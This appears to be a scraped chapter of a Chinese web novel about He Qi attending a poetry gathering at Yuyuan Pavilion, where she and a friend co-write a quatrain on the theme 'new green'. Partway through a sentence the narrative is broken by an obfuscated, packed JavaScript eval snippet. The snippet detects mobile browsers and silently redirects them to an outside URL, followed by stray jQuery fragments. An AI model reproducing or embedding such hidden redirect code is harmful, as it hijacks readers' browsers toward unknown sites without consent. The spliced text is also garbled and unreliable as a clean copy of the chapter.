77. 雅会作诗
作品:《小七科举手记》 何七扯了扯何明镜的衣袖,道:“二姐,我瞧赏花宴快开始了,我送你去万柳堂吧。”
李承之闻言,道:“不如就让我送何姑娘吧,我也要去赏花宴,顺路,怀珮小兄弟一会儿要去雅会,又要绕路回来,别耽误了。”这雅会与赏花宴虽都在玉渊潭旁,却是一个在南面的玉渊亭,一个在北面的万柳堂。现在几人在玉渊潭东南角的南小湖,沿湖往北走便是万柳堂了。
何七想也没想就道:“怎会耽误,我去雅会不过是去凑个热闹罢了,送了二姐去万柳堂,我再走堤桥去玉渊亭便是,正好我还从未来过此处,可以借此机会一览胜景。”她可不想上回的在飞羽社的事再来一回,且李承之与何明镜孤男寡女,二人一道去万柳堂,一路上不知多少人会瞧见,到时候可怎么说得清?何七面上笑着,却是腹诽这这李承之是不是脑袋里少根筋。
“魏哥哥呢?”说罢,何七又转头问魏铭。
“我素来闻玉渊诗社大名,今日是头回来雅会,不敢迟到,便只能失陪了,先行一步。”魏铭朝几人颔首,便转身走了。
魏铭这一走,李承之德面色登时舒展开来,对着何明镜开始傻笑,何七赶忙走到两人之间,道:“咱们也赶紧走吧。”
今日春光正好,四处有雀鸟啼鸣,互相追逐,有胆大的甚至直接从行人的头顶上略过。垂柳拂堤,另一侧是桃花李花,远远望去,便是一块翠绿粉白交叠的美玉。万柳堂虽离南小湖海有些距离,但沉醉在美景之中,不知不觉也就到了。
“二姐姐,你一人在这里能行吗?”将人送到了万柳堂,何七还是有些放心不下何明镜。
“你放心吧,我会照顾好何姑娘的。”李承之倒是在一旁拍了拍胸脯保证。
何七心里呵呵了两声,上回这李承之就靠不住,她可不敢指望,但还是笑笑道:“若二姐找我,还劳烦李千总差个人来雅会递个话,我就在玉渊亭处,不会走远。”
她说完,何明镜又摸了摸何七的头,道:“快去吧,你不是跟顾家姐儿约好了吗?别让人家久等了。”何明镜都这么说了,何七也不好在万柳堂多逗留,只好朝西边走去。
过了中堤桥,便到玉渊亭了。这玉渊亭自前朝起,文人便在此饮酒唱诗,诗酒雅集不曾断绝。远远望去,这玉渊亭并不像方才的万柳堂,因经年不曾翻修,颇有几分古意。前临翠湖,背依长河,芳草萋萋,连春风褪去热闹,多添几分萧爽之感。怪道文人雅客爱在此处聚集,见此情此景,就算心中无事,也难免生出几分离愁别许来。
“七哥哥!”何七站在桥头怔然片刻,半晌才醒过神来,往前看去,是顾妙真和李秉来了。
因为要参加诗会,今日顾妙真一身男子装束,因为年龄还小,这么一穿,倒也让人分不出男女来。
“七哥哥,咱们赶紧递了帖子进去吧。”虽然赵元礼说这雅会已流于庸俗,但毕竟是久负盛名的玉渊诗社,顾妙真还是有些兴奋的。
何七点头应声,随二人一道往玉渊亭走去。
今日雅会分为北席和南席,北席位玉渊诗社的社员所坐,而南席则是其他受邀之人。虽然赵元礼给何七的是北席的帖子,但何七和顾妙真是替师傅来参加雅会,这引路人便还是给他们安排到了南席末端的位置。毕竟南席的人不少,其中不乏天潢贵胄,北席的社员们亦是想在他们面前展露才学。
何七对这个位置很是满意,因为她可没有什么要在这雅会上一鸣惊人的念头,只消在后头默默看着便好了。倒是顾妙真有些着急,这前边的人实在是有些多,几乎看不到北席了。好在何七她们后头没人,起身看也不碍事。李秉就在前头一排,说话也便当。
席面上除了笔墨纸砚,还摆了时鲜新果,何七挑了几个果子吃,就听一阵琴声响起,这雅会便开始了。琴声渐歇,余韵未绝之际,一位身着青衫、气度儒雅的中年人从北席主位站起,面向南北两席,朗声道:“诸位高朋雅士,今日惠临敝社雅集,蓬荜生辉。承蒙各位不弃,共襄此诗文之会。值此仲春时节,万物并秀,最宜骋怀游目,寄情笔墨。老规矩,先以诗会友,再以文论道。今日雅会,便由‘新绿’为题,限七言绝句,一炷香为限,还请诸位各展才情!”
“这就是今年玉渊诗社的社主吧?”顾妙真伸长了脖子,想一睹这位社主的风采。
李秉回头像两个小的解释道:“这是今年社主澹庵先生,听说请他出山可不容易,要不是说今年诗会有位社员有超世之才,他可不会来呢。”玉渊诗社的社主每年一换,众人举荐,能者居之。但也不乏不愿任此位者,这位澹庵先生就是其中之一,虽有许多人举荐他,但却一直推脱,今年却是从善如流了。这叫人不得不好奇这其中的缘由。
“竟还有这样的事。”李秉这么一说,顾妙真的好奇心便愈发被勾起来了,一个劲地伸头向前想一探究竟,看看谁才是那个“超世之才”。何七却是觉着这事是被以讹传讹夸大其词了,若真有甚么“超世之才”,还用得着来着玉渊诗社露脸。心里虽这般想,见顾妙真兴致高,也跟着起身去看。
何七略略扫过一眼,只见北席的社员们正襟危坐,或铺纸研墨,或闭目凝思,气氛肃然。南席的宾客们也纷纷低声议论,或期待,或好奇。何七并没觉出多少兴味来,就在打算坐下之时,却突然瞥见在北席有一眼熟的人,竟是那魏铭。他坐在北席前排,眉头微皱,似乎正在冥思苦想。
魏铭竟然是玉渊诗社的社员,他这不是才来京城吗?何七心中暗暗惊诧,一时都忘记要收回目光。那澹庵先生却是注意到何七与顾妙真二人,转头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814225|162537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“今日雅会也为南席诸位准备了笔墨,两位小友不妨大胆一试,若是作得好,也是有彩头的。”
被人发现,何七有些讪讪,而顾妙真却是全然不尴尬,挽起袖子坐下便拿起桌上的墨开始磨。李秉转过身来,道:“真姐儿,你要作诗么?”
顾妙真点点头,道:“我觉着这诗会还挺有意思的,没有夫子说得那么无趣嘛。”
“不过这题目,可不好写啊,既要写出颜色之新,更要写出生机之勃发,看似简单,可今日这么多人,若要出彩,还是有些难的。”李秉没打算写,他自知自己的水平,在诗才上本就平平,肯定是比不过玉渊诗社的社员的。
“我知道,但试试总是无妨的,”顾妙真手上研磨,扭头看向何七,“七哥哥,你也一道来吧,说不定能得彩头呢。”顾妙真觉着,这玉渊诗会的彩头,应当不是什么俗物,此刻是跃跃欲试。
正在吃果子的何七差点没被呛着,咳嗽了两声,道:“我就不了吧。”何七只想着在边上看热闹,可不想绞尽脑汁去写诗。
顾妙真皱起眉头,道:“那怎么行,夫子可是特意把这帖子给你的,你不作诗,可不就辜负了夫子的一番苦心吗?”
何七见拗不过顾妙真,只好想了个折中的法子,道:“那不如这样,你作上半阙,我来作下半阙,如何?”
顾妙真还是头一回这样作诗,拍起手,道:“这法子新鲜!就依你。”李秉也觉稀奇,转回身,眼巴巴瞅着这边。
顾妙真磨好了墨,又思量片刻,不一时,便再纸上写下:
东风试剪未均匀,浅黛深青各占春。
“好!”她甫一落笔,李秉就拍了下大腿。眼下正是仲春,潭边树色,嫩绿深翠交杂,正合了这句。把东风比作剪子,也添了意趣。
上半阙有这般精巧,下半阙自然也不能落了下乘,何七握笔,迟迟不能落下,顾妙真却也不催她,看得一旁的李秉都有些着急。只见香燃过半,北席陆续有人交稿。侍者收稿呈于评判席,评判的是社主和诗社的几位耆老。就在一炷香快要燃尽之时,何七终于提笔写下:
欲问山灵借画笔,描他万点玉精神。
这句写完,在一旁看的两人皆是一怔,过了半晌才悟了其中的妙处。回过味来,顾妙真率先道:“好诗,点睛之笔!”顾妙真笑眼弯弯,拿起诗来看了好一会儿,才舍得将这诗作交上去。
待收齐了诗稿,评判们便传阅起来,低声议论。北席的社员们多少有些紧张,这头一场,南席的贵人们精神头最足,到了后头二、三场,再好的诗也怕听疲了,是以都想在这头一炮打响。
何七特意去瞧了瞧,那魏铭却是嘴角淡笑,似乎一点也不着急。她正欲继续看,却听评判那头忽的有人拍案道:“此诗甚妙!”